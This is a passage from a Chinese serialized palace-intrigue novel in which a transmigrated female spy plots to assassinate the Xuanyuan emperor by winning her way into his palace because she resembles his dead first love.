关失越：“让他们多做几个咱们爱吃的，别怕花钱，咱有钱！另外，让掌柜的给做一道猪脚黄豆汤、一个鸡汤、一个鲫鱼汤，不要放盐，不要放姜蒜八角大香等辛辣掉料，给胡娘子端去。可以下奶。她哺乳期，不宜吃辛辣的。” 谢七娘牢牢记下了：“主子你知晓得真多！” 关失越：“这些你难道不知？看来，你还得继续学习啊！” 谢七娘：“属下知晓了！属下必定努力学习，绝不松懈！！活到老，学到老！” “你去准备吧。我出去一下，晚上不用等我。夜里睡觉警醒些。”关失越道。 “是！” ========== 二月的夜里，寒风习习，万籁俱寂。 一处宅子里，忽然亮起了烛火。 烛光中，长身玉立、身着白衣的陆之斐好奇地打量着半蹲着汇报情况的关失越。 几个月不见，这小娘子不论是从体态还是从礼仪来看，她似乎又变美了不少。 看来，他给她请的那些教习是有用的。 关失越汇报完了情报，从怀里取出厚厚一叠票据，双手举过头顶，递到陆之斐跟前。 陆之斐接过，看了几眼：“两万两银票？你这赚钱的本事还不错嘛！” 关失越忙道：“托大将军的福！主要还是大将军慧眼识珠！” 陆之斐：“蔡宝珠如今已经被抓起来了，那一百万两黄金怕是要不到了。” 关失越道：“怎么会？蔡宝珠犯下毒杀朝廷官员的重罪，蔡家一家都有参与，他们的下场肯定是发配充军。到时蔡宝珠落到大将军手里，还怕她挣不来一百万两黄金吗？” 陆之斐：“她一个假千金，去哪里筹那么多钱来？” 关失越抬头看了一眼陆之斐，忽然笑了笑，道：“陆大将军聪明绝顶，知人善用，怎么可能找不出蔡宝珠的价值？” 她这个笑，着实是妩媚勾人、风情万种，陆之斐眸子不自觉地眯了眯，也笑了：“是吗？那婉婉不妨说说看，蔡宝珠有什么价值？” 这男人！ 明明知道，却非要她说出来！！ 虚伪！！！ 不过，他要让她说，那她就说呗！ 关失越道：“蔡宝珠从小锦衣玉食长大，身子可是娇贵得很呢！ 这样的世家贵女，试问天下男子谁不想见识见识？ 到时大将军只需将她往青楼里一放，再让人竞价，区区一百万两黄金不就来了吗？ 只要大将军操作得当，十年二十年的军粮怕是都够了。” 陆之斐：“都说最毒妇人心，如今看来，确实如此。” 关失越笑了笑，就当这是个夸奖，道：“属下若是不毒，又如何能替大将军完成任务呢？大将军真是看得起属下，竟让属下去做刺杀任务！大将军莫非是觉着，属下的功夫已然是天下第一了？” 说起这个，陆之斐神色有些凝重：“这是圣上的旨意，咱们做臣子的，能有什么办法？千里及那边不是给你派了不少帮手吗？” 关失越：“所以，大将军便要让属下去送死？” 陆之斐将两万两银票还给关失越，想了想，又摸出了一个挂件递了过去：“有了这个，你可以在轩辕的任何一个钱庄取钱。你拿着钱，多收买些人手。” 关失越毫不客气接了，然后，再次提出要求：“另外，属下今日还想求一样东西。” 陆之斐：“什么东西？” 关失越：“一颗入口即化、吃下去半柱香之内必死的毒药。 是属下给自己求的。 属下怕疼。 一旦刺杀失败，属下必定是被千刀万剐的下场，为了不出卖大将军，不祸害千里及同僚，属下若是被抓，一定立刻自尽，绝不做叛主之事。 请大将军成全。” 陆之斐：“……好。关二丫，记住你今日的话！” 第134章 旧识 关失越走南门进入盛都城的时候，在城门口不远处发现了楚翊尘留下来的联络暗号。 一路上她都在想如何联络上楚翊尘，没想到楚翊尘已然到了盛都了。 这下好了。 吩咐谢七娘和胡娘子去找落脚处，并约定好了见面地点，关失越便顺着记号去寻楚翊尘了。 很快，在两里开外的一间酒楼里，关失越见着了楚翊尘。 分别一个多月，再次相见，楚翊尘那一向冷肃的脸上少见地有了一丝笑容。 “来了？” 关失越：“嗯。” 楚翊尘：“今日才到？” 关失越：“嗯。” 楚翊尘：“这次的任务是……” 关失越：“你不知晓？” 楚翊尘摇了摇头：“上面的人说，让我听你调遣。所以，任务到底是什么？” 关失越想了想，道：“师父，你来盛都多久了？见过千里及在盛都的总负责人了吗？” 楚翊尘不知道她为什么问这个，却也据实以告：“见过了。你要找他？是不是这次的任务很棘手？” “非常棘手，有来无回那种。”关失越面上毫无表情，“能联系上他吗？越快越好。今日夜里，在这里，我想和他见面。” 楚翊尘：“可以。我这就去联系。” ========= 夜幕时分，鸿宇酒楼二楼某雅间。 千里及在盛都的总负责人曾玦滔滔不绝：“……轩辕帝元擎苍现年三十，乃先帝第八子，其生母是个宫女，因为意外被轩辕先帝宠幸一次，结果便有了八皇子。 故，先帝对八皇子很是不喜。 那宫女在八皇子三岁时溺亡了，八皇子被蓉妃要了去，养在了膝下。 元擎苍这人从小就性子阴沉，成年后性子依然阴晴不定，猜疑心极重，且极为心狠手辣。 他登基后，杀死了他所有的兄弟姐妹，便是连收养他的蓉妃也被他毒死了。 他立过两个皇后，第一个皇后出自盛都世家赫连家，赫连皇后在八皇子登基前就嫁了过去，八皇子登基后不到一年，赫连皇后便病逝了。 第二任皇后同样是盛都世家的贵女，名燕清芷，她是长庆侯的嫡长孙女。 如今的轩辕帝年富力强，膝下有三个皇子、四个公主。 他们分别是由淑妃、常婕妤、丽贵妃、吴美人、继后燕清芷所出。 其中，丽贵妃最受宠，她生了二皇子和三公主。 吴美人也比较受宠，她生下了三皇子，如今肚子里还有一个……” 关失越耐心地听完了曾玦的介绍，微微蹙眉：“你说的这些情报我已然从别的渠道知晓了，还有更详细的吗？” 曾玦看了楚翊尘一眼，见楚翊尘面无表情端端正正坐着，一副洗耳恭听的模样，抬手捻了捻下巴上的胡须，道：“他毕竟是帝王，咱们的人级别都不高，只能打探到这些了。惭愧。” 关失越：“咱们有安插进轩辕皇宫的人没？” 曾玦：“安插进去了两三人，不过都是最低等的宫人，打探不出多少有用的情报。” 关失越：“通知咱们的人，让他们将丽贵妃和吴美人的身材、面貌特征、平时的穿衣搭配等细节都记下来告诉咱们，最好是要有她们俩的画像。 越快越好。 另外，再让人好好查一查，这元擎苍平时的兴趣爱好是什么。” 曾玦：“好。” 关失越想了又想，道：“轩辕皇宫的舆图、暗卫分布、禁卫军分布情况，能打探出来吗？” 曾玦面露为难之色：“这……” 关失越见状，便知道这伙人实在无能，连一些最基本的消息都打探不出来，只得放弃，转而道：“轩辕帝的外家情况如何？他与其外家的关系如何？ 平时来往密切吗？ 最近一个月，他有可能会出宫吗？ 如若有，有没有办法打探到他具体出宫的时间？” ========= 邀月楼是盛都最富盛名的青楼。 此时正值亥时（晚上9点到11点），邀月楼里灯火通明、歌舞生平、热闹非凡。 换上一身男装，其易容过后的关失越跟着楚翊尘，进了邀月楼。 两人穿过各式各样的男男女女，转过几条走廊，经过一条密道，来到了一处清幽的小院子。 然后，关失越就见到了一个熟人。 江蝶舞。 如今的江蝶舞，竟是邀月楼的幕后东家！ “咱们又见面了，关……娘子。”江蝶舞笑道。 两年不见，关失越发生了翻天覆地的变化，且今日还是易了容的，没想到却被江蝶舞一眼就认出来了！ 关失越心里想了很多，面上却是一副平静淡然的模样，她朝江蝶舞拱了拱手：“蝶舞姑娘。” 江蝶舞：“咱们是旧识，关娘子不必如此客气。且，如今咱们又是同僚，关娘子就更不必拘礼了。” 同僚？ 难道江蝶舞也是千里及细作？ 不，不对！ 她的身边已经有了一个青绿了，按理，她不该是千里及的人！那么，她是……摇光台的人？！！ 果然，就听楚翊尘在边上为两人做介绍：“二丫，她就是摇光台在轩辕的总负责人蝶舞姑娘。在盛都待了两年了，对盛都的情报可谓是了如指掌。蝶舞姑娘，她是此次行动的总负责人关二丫，这次行动还望你配合。” 关失越对江蝶舞行了一礼：“有劳蝶舞姑娘了！” 江蝶舞托住了关失越的手臂，笑道：“自然！ 咱们可是故人呢！ 当时在流沙县，我就觉得你有能力，如今看来，我没有看走眼！ 咱们都是摇光卫，都是为了大夏，你有什么要求，尽管提。 我江蝶舞代表全体潜伏在盛都的摇光卫，保证必定竭尽全力配合你完成任务！” 一番寒暄后，关失越说出了今日前来的目的。 江蝶舞听完，想了想，道：“轩辕帝元擎苍在十六年前还是个不受宠的皇子，他曾有一个白月光，他登基前夕，那白月光突然横死，有人说，凶手就是元擎苍的原配赫连皇后。” 关失越忙道：“娘子可有那白月光的画像？” 江蝶舞：“原本是没有的，也是阴差阳错遇到了曾服侍过她的丫鬟婆子，这才有了画像。” 关失越大喜：“太好了！能拿来我看看吗？” “好。” 第135章 行动开始 从邀月楼出来，楚翊尘道：“刚刚为何没有答应江蝶舞的邀请？她在盛都两年了，她找的住处应当不会差到哪里去。” 关失越笑了笑：“我这人比较喜欢公私分明。” 当然，这是借口。 江蝶舞是摇光台细作，在盛都潜伏两年，虽然关失越很相信她的能力，但是，万一呢？ 万一她被暗阁或者是其他势力的人盯上了呢？ 为了避免她们相互被对方牵连，保持适当的距离才是最好的。 “再说了，教习不是常说，咱们做细作的，和同僚之间的距离保持得越远越好吗？免得被牵连。”关失越补充道。 楚翊尘怔了一瞬，道：“我以为你们是旧识，可能会……” 关失越：“做咱们这一行的，最好还是不要有旧识。那样，对大家都好。” 楚翊尘有些感慨：“你变化很大。” 关失越：“不变怎么行？原地踏步，只会被人超越，狠狠甩下。” 楚翊尘：“你刚到盛都，安顿好了吗？要不，先去我那里？” 关失越：“好啊。” 谢七娘跟着她学到了不少的实用技能，像找住处、养孩子这种事情，她完全能做到。 这两日就不去找他们三个了，等到时计划制定下来后，她再去和他们汇合。 这时，楚翊尘的手伸了过来，攥住了她的手指。 气氛顿时暧昧了下来。 两人并排走在黑夜里，耳侧传来男人低沉的声音：“三十一天了。整整三十一天，咱们没有亲热了。我很想你。” 想着不知道哪天就要死了，关失越心中一动，反手攥紧了男人的手指：“我也很想你。” 这句话刚说完，关失越的的身体便悬空了，她笑了笑，双手忙勾住了男人的脖子，脸埋在男人的颈侧低声道：“如此行动，要到何时才能走到你的住处？” “你小瞧我？”楚翊尘说着，身子顿时凌空而起，如同雄鹰一般，抱着一个人在空中飞行。 风声在耳畔呼啸而过，速度竟不比关失越平常的飞行速度慢，关失越不由赞道：“轻功了得。不愧是天下第一，厉害！” ========== 关失越已经对着三幅画像看了足足一盏茶的功夫了。 期间，曾玦则在边上给她描叙丽贵妃和吴美人的身高、体态、性格、穿衣风格、发型首饰等各种细节。 关失越手指搁在膝盖上，有一下没一下地敲着，时不时地点头附和，或者问上两句。 她的问题很奇特，让人很是出乎意料，让曾玦憋红了脸。 “这个……我也不是很清楚，要不我再去问问？” 关失越并不怎么生气，手指继续在膝盖上敲着，目光却始终在三幅画像上来回打量：“嗯。再探。记得要详细，越详细越好。哦对了，这个……吴美人，她的右眼角下面是不是有颗痣？” 画像曾玦送过来的时候已经看过了，根本没有痣，闻言，曾玦道：“我没注意，但好似没有吧？” 关失越的目光终于从画像上移开，落到了曾玦脸上：“让宫里的人再好好探探，花钱打点也好，利用关系也罢，必须要弄清楚这吴美人的右眼角是不是有一颗颜色有些浅的红痣。 另外，丽贵妃的身高到底是多少，我需要一个十分精准的数据。 所有打点的费用，全部由总部出，我先垫付。 懂了吗？” 曾玦脸上立马露出了一个笑来：“特使大气！特使威武！！特使你放心，只要你交待的，我必定给你办好！！” 关失越道：“你们远离大夏，在盛都潜伏不容易，你们辛苦了！我原本想着，要请你们吃一顿的，可又担心大张旗鼓惹人怀疑。这毕竟是盛都。希望你们好好打探消息，我不会亏待了努力做事的人的！” ========== 黑暗笼罩着大地。 盛都城一条巷子里，传出了一声关窗的声音。 谢七娘点亮油灯，惊喜地看着翻窗而入的关失越。 “你终于回来了！” 关失越道：“都安顿好了？” 谢七娘：“安顿好了。阿树很乖，平时基本不哭。胡娘子说她从没见过这么乖的孩子。周围邻居也好相与，平时基本没什么腌臜事儿。主子，你说我能不能做点香皂或者肥皂去卖？” 关失越：“当然可以。不过，要注意安全！毕竟盛都是天子脚下，权贵肯定很多。香皂一旦做出来，怕是会有权贵找上门来抢方子。” 谢七娘：“那怎么办？”这里可不是京都！这里的权贵她没一个认识的！！！ 关失越：“短期之内不会有事。你想做就做吧，一个月能赚个三两五两的就成。你身上还没有银钱？” 谢七娘：“还有的。” 关失越还是掏出了两个银锭子和几十个铜板，放到了桌子上：“银票用着不方便，这个好使。” 谢七娘见她这模样，道：“主子你这是什么意思？你莫非还要走？” 关失越：“对。我马上走。可能两三个月我都不会回来。你若是有什么事，照常给我留记号，我看到了就回来。我今日来的事，你不要告诉任何人，胡娘子也不行！我走了！” 说罢，关失越推开窗，跟来时一样，悄无声息地跳下窗，黑色的身影消失在了夜色里。 ========= 长庆侯府。 人牙子带着一群小娘子，走在雕梁画栋的回廊下。 今日是长庆侯夫人给府里的六、七、八三个小娘子挑陪嫁丫鬟的日子。 长庆侯府是当今皇后燕清芷的娘家，燕六娘子是皇后的嫡亲妹妹，她即将嫁入永宁侯府，按惯例，女子出嫁前，娘家是要为其准备陪嫁丫鬟的。 燕六娘是皇后的嫡亲妹妹，又是长庆侯夫人疼在手心里的嫡幼女，因此，养成了她天真烂漫的性子。 她自小和永宁侯世子青梅竹马，两人情投意合，两老早就定下了亲事。 燕六娘很喜欢永宁侯世子，见不得永宁侯世子和别的女子亲近，因此，不管长庆侯夫人怎么劝说，她也不打算要陪嫁丫鬟。 可惜，就在前几天，燕六娘永宁侯世子竟在外面养了外室！ 燕六娘受不得这样的羞辱，可又不愿退婚，婚期在即，她要选陪嫁丫鬟了。 燕七娘和燕八娘也定了亲，婚事也在今年，也需要选陪嫁，于是，这才有了今日的事。 走在雕栏玉砌的长庆侯府，身着一袭白裙的关失越显得异常显眼。 她身段高挑，体态婀娜，一张小脸白皙精致，右眼角下面有一滴泪痣，看起来楚楚动人极了。 第136章 进宫 “你，穿白衣服这个，抬起头来！”燕六娘道。 关失越眉心微蹙，但，她很快将这情绪掩去，缓缓抬起脸，一脸期待地看着燕六娘。 燕六娘见她肌肤白皙，身段热火，偏偏还一副楚楚可怜的狐媚子模样，跟永宁侯世子那外室有得一拼，心里又是迁怒又是烦躁，天人交战了一会儿，燕六娘咬牙道：“你叫什么名字？家住何方？” 关失越微微屈膝行了一礼，这才声音清脆地道：“贱妾贱名春芽，自小就被爹娘卖了，贱妾并不知晓自己是哪里人。” 她清脆爽利的声音让燕六娘对她的不喜减轻了几分，燕六娘道：“你愿意做我的陪嫁吗？” 关失越似乎是怔愣了一顺，随即道：“贱妾能否斗胆问个问题？” 燕六娘没想到她竟会这般，不由直了直身体：“可以。你问。” 关失越：“贵人要嫁之人，是不是永宁侯世子？” 燕六娘定定地看着关失越：“是。怎么，你莫不是认识他？” 她怎么从未见过她？ 宁郎到底都瞒了她多少？！！ 关失越摇了摇头：“永宁侯世子那般芝兰玉树的贵人，贱妾如何能认识？ 但六娘子和永宁侯世子青梅竹马，简直就是天造地设的一对璧人，此事别说是全盛都了，便是咱们全轩辕的人都知晓！ 听闻永宁侯世子非常喜爱六娘子，为了六娘子，永宁侯世子洁身自好，身边一个通房都没有。 六娘子和世子这般好，想来定是不愿有陪嫁通房丫头的，所以，贱妾这会这般问。” 听了这番话，燕六娘心里可谓是五味杂陈。半晌，她笑了笑，道：“这么说，你是不愿意了？” 关失越道：“也不是。 贵人若是嫁的是别的郎君，贱妾自然是愿意的。 但倘若是贵人嫁的是永宁侯世子，那……贱妾不愿。 贱妾最羡慕的就是情比金坚的爱情，贱妾最厌恶那插入别人爱情的女子，贱妾便是饿死，也坚决不做那种破坏别人感情的恶人！” 燕六娘大受触动，道：“好，就是你了！” 就这样，关失越留了下来，正式做了长庆侯府燕六娘的陪嫁丫鬟。 在做陪嫁丫鬟的第二日，关失越和其他几个新买来的陪嫁丫鬟一起，被长庆侯夫人召见训话。 在所有人都战战兢兢往后躲的时候，关失越大大方方站到第一排最中间的位置。 于是，长庆侯夫人第一眼便注意到了她。 恰好此时，关失越抬起头看了过去。 两人目光在半空中交汇，长庆侯夫人的目光死死地落在她右眼角那颗红粉色的泪痣上，好半晌都没有移开。 “你……你叫什么名字？”长庆侯夫人道，声音里有一丝不易察觉的兴奋和颤抖。 关失越却察觉到了。但她不动声色地道：“婢子春芽。” 长庆侯夫人点了点头：“倒是个伶俐好看的。等会儿你留下，我有话要跟你说。” 关失越：“是！夫人！！” 她想她九成九是猜对了。 轩辕帝年少时曾有个求而不得的白月光，可惜为了自己能登上皇位，轩辕帝娶了赫连家的小娘子为皇后，放弃了自己的白月光。 白月光许是被赫连家族悄无声息地弄死了，或许是在轩辕帝的默许下死了的，也或许就是轩辕帝自己下的手。 总之，白月光死了！ 然而，年少的轩辕帝不知道白月光的杀伤力，等到意识到这一点的时候，后悔已经晚了。 于是，轩辕帝为白月光报仇，弄死了赫连皇后，娶了长庆侯家的小娘子燕清芷为继后。 但，这仍然无法排解轩辕帝对白月光的思念。 死去的白月光因为岁月的沉淀，越发令轩辕帝沉迷，但轩辕帝是个男人，男人嘛，就是那样，当几天和尚都发慌，于是就开始寻找跟白月光长得相似的女子。 宛宛类卿这种意思吧。 于是，便有了丽贵妃和吴美人。 她们两人的画像关失越反复看过了，表面上看起来两人并没有什么相似之处，可是细看的话，会发现两人的眼睛都很大，很灵动。 再跟那白月光的画像一对比，关失越便拼凑出了一个真实的白月光的脸谱。 小脸，肤白，眼睛大，眼角下有一颗泪痣，笑起来的时候风流婉转又烂漫可爱。 关失越跟这样的形象有三四分相似。 三四分相似，已然相当可以了。 再加上一些化妆加易容，关失越能让自己与那白月光有八到九分相似！ 于是关失越来到了长庆侯府。 也如愿见到了长庆侯夫人。 “小娘子生得不错。”将下人们屏退后，长庆侯夫人让心腹婆子给关失越赐了座，态度亲和地聊家常，“家里还有人吗？” 关失越受宠若惊，将跟燕六娘说的话又给长庆侯夫人说了一次。 长庆侯夫人安慰了几句，勉力了几句，再闲聊了一会儿，便说起了留下她的目的： “我听说你并不太想做六娘子的陪嫁，你别怕，我没有怪你的意思，我就是觉得，你长得这么好看，做妃子都是绰绰有余的。 正好，我的长女是当今皇后，她刚生下四公主两个月，身边正好需要些人手。 我觉得你就非常合适。 你愿意进宫照顾四公主吗？” 关失越眼睛一亮，将受宠若惊和喜出望外和对权力的贪婪完美地糅合在了一处，她脸颊微红，忙垂下头：“婢子自然是愿意照看公主的。 那是婢子的荣幸！！ 只是，婢子蒲柳之姿，怕是会污了贵人的眼。” “怎么会？你天真浪漫、聪明伶俐，很是惹人喜欢。皇后和公主定会喜欢的！”长庆侯夫人大喜，“就这么说定了！过两日便将你送去宫里。” ========== 长庆侯夫人说两日，就真的是两日！ 两日后，关失越和另外一个懂医的婆子被送进了宫里。 虽然关失越只能日日住在皇后的未央宫内，但，至少有见到刺杀对象的机会不是？ 关失越在等这个机会。 这个机会来得比预料中的快。 第137章 有密道 这日，关失越在偏殿中打盹儿，便听到外面有动静。她立马站直了身体，一秒钟进入上班模式。 没多久，便听到了宫人那句“圣上驾到”的声音。 关失越忙垂下头，和其他宫女一般，下跪相迎。 在元擎苍经过自己跟前时，关失越快速地用余光打量了一眼。 从他走路的姿势、速度、步伐的轻重快慢等各方面来看，关失越基本能推断出他的身高、年龄、性格，别说，和情报中所说的，基本上对得上。 这说明千里及和摇光台在情报搜集的精确度上还是可以的，只可惜他们能搜集到的情报数量太有限了！ 不过，好在她已经进来了。 从现在开始，搜集情报的工作，她接了。 就在她想着要如何才能不动声色地接近元擎苍的时候，大殿里面传来了燕清芷的声音：“春芽呢？” 然后，关失越的手臂被人碰了碰。 关失越忙收拾好心情，脚步轻浅地走了进去，跪在了大殿内，额头贴着青砖地面：“婢子春芽，见过圣上，见过殿下！陛下万福，娘娘万福！” 燕清芷笑道：“刚才陛下好奇长庆侯送了何人进来，非要看看你。春芽，你且抬起头来，让陛下看看。” “是！娘娘。”关失越应声，慢慢抬起了头。 终于看到了刺杀目标的脸了，他的容貌跟情报中的有一点点小出入，那目光太过犀利森寒，只一眼，关失越便如同被吓到，快速垂下了头。 果然是那猜疑心极重、手段极其毒辣之辈！ 阴森、嗜血、残暴，看一眼便让人胆寒，不敢再看第二眼那种！！ 这种人要是放在现代，就是那种变态杀人狂之类的高危险人物。 这种人就跟那疯狗一样，极难对付。 况且他还是帝王！！ 如此，想要杀了他，简直比登天还难！！！ 有那么一瞬，关失越觉得天塌了。 这个任务，她完成不了。 即便完成了，她也跑不掉！ 可是，她不想死。 好不容易穿越一回，她还想多活几天。 轩辕帝在看到关失越的长相后，怔愣了好一阵。 像！ 太像了！！ 她怎么会那么像那个人？ 乍一看，他还以为是那个人复活了！ 边上的燕清芷看到元擎苍这个表现后，手指不自觉地紧了紧：果然！母亲没有说错，皇上的心里一直有一个人！丽贵妃和吴美人之所以得宠，就是因为她们在某些方面长得像那个人。而眼前的这个人，是长得最像那个人的！！！ 燕清芷清了清嗓子，半是认真半是开玩笑地道：“陛下，你该不会是看上这个小丫头了吧？” 这一刻，大殿里寂静极了。 宫人们大气都不敢出，默默地垂着头。 在这片死一般的寂静里，元擎苍说话了：“她生得不错，瞧着也是个规矩的。皇后是个会调教人的。” 说话间，他又多看了关失越一眼。 燕清芷还有什么不明白的？ 这春芽，从此要走好运了！ “都是托陛下的福！”燕清芷笑道，“这春芽，原本是臣妾的母家见送进来帮臣妾照看四公主的，她乖巧懂事，很是惹人喜爱。陛下若是喜欢，臣妾便忍痛割爱，将她献给陛下吧。” 元擎苍：“皇后贤惠。” 燕清芷：“能为陛下分忧，是臣妾的分内之责。臣妾愧不敢当，只希望陛下身子康健，轩辕国泰民安。” ========= 关失越被带了下去。 没多久，燕清芷过来了。 关失越又是一番跪拜。 之后，燕清芷道：“陛下看上你了，你是什么想法？你想服侍陛下，做陛下的妃子吗？” 关失越一副没见过世面的唯唯诺诺模样：“婢子不知！婢子是长庆侯府的人，婢子都听娘娘的！娘娘让婢子如何，婢子便如何。” 燕清芷很满意这个回答：“是啊，你是长庆侯府的人，本宫也是。咱们同为长庆侯府的，就应该守望相助蔡是。你别害怕，就当我是你的阿姊。” 关失越一副天真的模样：“真的吗？” 燕清芷眼神闪了闪，但很快就恢复如常，她笑道：“那是自然！你生得楚楚可怜，本宫瞧着都欢喜，就像本宫的亲妹妹一般。以后记得好好伺候陛下，到时，少不得你的荣华富贵。” 关失越叹了口气。 燕清芷：“妹妹怎么了？” 关失越：“婢子害怕。” 燕清芷：“瞧你，我不是说了吗？你我姐妹相称便可，你不必婢子婢子自称的。对了妹妹，你害怕什么？” 关失越先是欢喜又感激地看了燕清芷一眼，随即又露出了忐忑不安惶恐之色：“陛下……陛下看起来好凶，我……我怕……” 燕清芷笑了笑，道：“别怕，陛下那人也就是看着凶而已，实际上并不凶，只要你顺着他就好了。你别担心，伺候好了陛下，你以后就能做妃子了……” ========= 天色暗了下来。 此时，正是宫人们用膳的时辰，同时，也是侍卫们换防的时辰。 关失越趁众人都去用膳了，四下无人，身子飞上墙头，又悄无声息地往下一跃！ 此时，宫道上空无一人。 关失越施展轻功，借着夜色的掩护，赶到了一处废弃的宫殿内。 宫殿内有人。 是一个身着宫装的女子，女子脸上蒙着面纱，看不出年纪，与关失越互对了暗号。 对上了。 两人都松了口气。 时间紧急，关失越也不多废话，道：“宫里可否有通往外界的密道？” 宫女：“有，但是，我不知道在哪里。听说是在轩辕帝的寝宫里，又说是在轩辕帝上朝的龙椅下。具体在何处，我知道得并不清楚！” 真是废啊！ 时间紧急，关失越并不做点评，继续问道：“你能不能弄到一颗迷药来？” 新人进宫，会过层层搜查，便是牙齿都得检查，为了以防万一，她进宫的时候什么药都没带，武器什么的更是不用说了。 宫女想了想，道：“可以。你什么时候要？” 关失越：“明日这个时候，你能送过来吗？” 宫女：“可以！” 关失越放心了：“好！” 第138章 恐污了陛下的清白 关失越在侍卫到来之前的前一瞬赶回了未央宫。 彼时，宫人们大多已吃完了饭。 关失越刚吃了两口，一个宫女便走了过来，道：“春芽姑娘，皇后娘娘为你准备了新的住处，你现在就搬过去吧。” 关失越没有想到这么快就要搬去新的住处了，不免对刺杀计划增添了两分信心。 看来，那白月光在轩辕帝心目中的地位很高啊！ 要不然，他们怎么会如此急切地让她搬家呢？ 如今就搬，显然是那男人等不及了，今天晚上说不定就要…… 怎么办？ 迷药还没到手啊！ 若是那元擎苍猴急着今晚就让她侍寝，她怎么弄？ 关失越心里很慌，面上却是一副高兴疯了的模样，跟着宫女到了新的住处。 距离未央宫和轩辕帝的静心殿之间的一处宫殿：玉兰宫。 玉兰宫之前住的是先帝的妃嫔，后来那些妃嫔相继过世，玉兰宫便空了出来，但一直没人住进去。 如今，关失越成了玉兰宫唯一的主子。 玉兰宫虽久未住人，但一直有宫人在打扫，因此，只需稍微收拾一番便可住人。 关失越到达的时候，里面的卫生已然打扫干净了，该有的家具摆件、家居用品都安排妥当了。 便是连梳洗用品、衣服、床上用品等东西，也都由内务府提前送了过来。 玉兰宫宫人并不多，六个宫女，两个太监。 宫人们都是训练有素的，他们手脚麻利，走路轻快，从不乱看，从不多话，对关失越这个新主子十分恭谨。 关失越没有心思跟这些人多说话，就随便勉励了几句，就让他们下去了。 不一会儿，便有宫人传报，轩辕帝来了。 还真是怕什么来什么。 不过，既来之，则安之。 关失越假装从睡梦中醒来的模样，坐在床上，打着呵欠，满脸的困倦和起床气。 直到轩辕帝进入内殿的前一瞬，关失越才仿佛想清楚了这是什么地方一般，战战兢兢、慌慌张张、笨拙不已地从床上滚了下来。 因为太慌张、太害怕，她滚下床后不敢呼痛，如同一只笨拙的乌龟一般，手忙脚乱地在地上扑腾了一阵，最后四肢并用，跪在了地上，头深深地垂下：“贱妾不知陛下前来，贱妾有罪。” 看着跪在地上这有些滑稽和笨拙的女子，元擎苍没有说话，目光在她纤细的腰身上停留了许久。 这女子跟他的莲儿一样，身子纤细得很。 而且，她的脸也和莲儿一般无二。 若不是他确信莲儿已经死了，乍见到她，他还以为他的莲儿又回来了。 她们两个实在是太像了！ 他迟迟不说话，跪在地上的女子似乎是吓坏了，身子止不住地颤抖。 不！ 这不是莲儿！ 莲儿在他面前从不会害怕得发抖！ 莲儿已经死了。 死在了他登基的前一晚…… “地上凉，起身吧。”元擎苍道。 关失越声音颤抖：“是。” 身子却迟迟没有动。 元擎苍等了一会儿不见她起身，眉心微蹙，随即走到关失越面前，微微俯身，双手握住了关失越的手臂，将她拉起。 如今近的距离，元擎苍越发看清楚了关失越的脸。 脸型、肤色、五官、眉眼，尤其是眼角那颗泪痣，分明是莲儿无疑！ 当然，前提是忽略她眼底的胆怯和恐惧的话。 元擎苍又蹙起了眉。 他有这么可怕吗？ 他后宫的女子都说他生得好看的！ “你怕朕？”元擎苍道。 废话，你长了一副阴郁的、睚眦必报的变态杀人狂的眼神，谁能不怕？ 你若是知道我是来杀你的，会不会立马就将轩辕十大酷刑轮着给我来一遍？ 关失越露出了一个比哭还难看的笑来，她点了点头，待意识到自己做了什么，又立马快速地摇了摇头：“不不不不不不……怕。” 元擎苍眸子睁大了一圈。 关失越越发急了，又急又怕：“妾妾妾妾妾妾……不……不……不是结巴，妾妾妾妾只只只只只……是有有有有有有有有有……点紧……紧紧张。” 元擎苍生硬的嘴角不自觉地上扬了扬：“哦，是吗？” 关失越听完，脸涨得通红，为了证明自己不是结巴，她连害怕和规矩都忘了，梗着脖子道：“妾妾妾妾……真的不是结巴！！！！” 元擎苍瞧她急得满头大汗满面通红，好笑地抿了抿唇：“嗯，你不是结巴。” 听他这样说，关失越那股子意气消失了，她下意识地拢了拢自己的衣服，却发现自己没有穿外衣，只穿了中衣，顿时，羞得面红耳赤。 “贱妾失礼了。”关失越忙下跪请罪。 她的手臂被元擎苍抓住了。 紧接着，那只大手从她的手臂下滑，搂住了她纤细的腰身。 两人身体贴着身体，呼吸交缠。 大殿内的气氛顿时变得暧昧了起来。 感觉到元擎苍要有所行动了，关失越抢先一步，跪了下来：“陛下，妾有事情要坦白。” 看着这张与莲儿几乎一模一样的脸，元擎苍很有耐心：“哦？什么事？” 关失越：“贱妾身份卑贱，贱妾与陛下共处一室，恐污了陛下的清白。” 元擎苍：“你是指你是长庆侯婢女这事吗？你放心，那是以前。从今往后，你不再是婢女，而是我轩辕的嫔妃了。轩辕嫔妃，身份不卑贱。” 关失越听了这话，脸色不但没有好转，反而更白了，她摇了摇头：“不！ 贱妾身份低微，上不得台面！ 贱妾这样下贱的身份，是绝计不能做陛下的嫔妃的！ 那是对陛下的侮辱！ 对轩辕的侮辱！！ 贱妾不能做这样的事情！” 元擎苍的脸色一分分沉下去，眼神也越来越冰冷、犀利。 仿佛要将关失越看穿看透一般。 关失越打了个寒颤，硬着头皮道：“……贱妾曾被人……过，贱妾身子不干净了。” 元擎苍脸色很不好看：“哦？是吗？既然如此，那你为何还敢进宫？” 关失越：谁让你来得这么快？你要是明日来，我拿到了那药，哪里还会有今日之事？！！ “夫人说，妾进宫是为了照看公主的。” 元擎苍冷笑一声：“是吗？那为何今日在未央宫，你没有拒绝？” 第139章 男人的爱，算个屁！ 拒绝？ 她费劲心机做这些，就是为了近他的身，皇后的提议，她怎么可能拒绝？ 关失越身子抖了抖，踌躇半晌，抬起了那张白皙的小脸：“贱妾……贪慕虚荣，这才……贱妾有罪。” 元擎苍以为她会编些什么借口的，没想到她竟这么说！！ 真是简单直白得很！ 同时，他承认，在听到这个答案后，他心里竟莫名地舒服了。 皇宫内尔虞我诈勾心斗角，大多数人都自以为聪明，算计这个暗害那个，他厌烦得紧。 突然有了这么个有什么说什么的直白人，他竟觉得轻松和欢喜！ “你倒是敢承认。”元擎苍声音听不出息怒。 关失越忙道：“陛下是天子，陛下威严，贱妾生来就愚蠢，嘴里还藏不住话，也不敢欺瞒陛下。 贱妾错了！ 贱妾不该为了点金银珠宝，不该为了点面子就答应。 陛下若是因此惩罚贱妾，贱妾也无话可说，甘愿受罚。” 说到后面，关失越垂头丧气到了极点，整个人也如同被太阳暴晒的花朵一般，蔫头耷脑的。 元擎苍见状，心里的怒气已然平息了大半：“那你跟朕说说，那个男人是谁。” 关失越垂下了头，一副十分为难的模样。 元擎苍：“怎么？你莫不是还想维护那个男人？” 